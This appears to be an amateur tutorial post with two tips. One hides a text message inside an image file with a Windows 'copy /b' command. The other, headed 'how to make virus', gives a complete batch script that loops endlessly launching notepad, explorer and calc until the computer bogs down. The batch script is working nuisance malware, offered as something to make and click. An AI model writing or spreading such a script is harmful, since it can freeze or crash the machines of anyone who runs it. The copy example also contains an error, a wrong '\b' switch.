hide a massage behind any image or file(stenography)

step1:
open notepad and write down secret msg.
step2:
save it.
step3:
open command prompt and write down
copy /b image_name.jpg+secret.txt new_image.jpg
example: copy \b malika.jpg+sajani.jpg sajanifinal.jpg
step4:
enjoy your communication

note:
1.file format should be same of source image and final image .
2.open file with notepad and msg will be end of file you can search string.

how to make virus (bat file)

step1:
open notepad
step2:write this code
:hack
start notepad.exe
start explorer.exe
start calc.exe
goto hack

step3:
save this file with name hack.bat
step4:
just click on the file & magic will began

note:-
1.file should be save with .bat extension
2.u can include many more programs in code
3.u can get code from C:\Windows\System32
or start task manager goto process explorer and get program name.
so enjoy ..............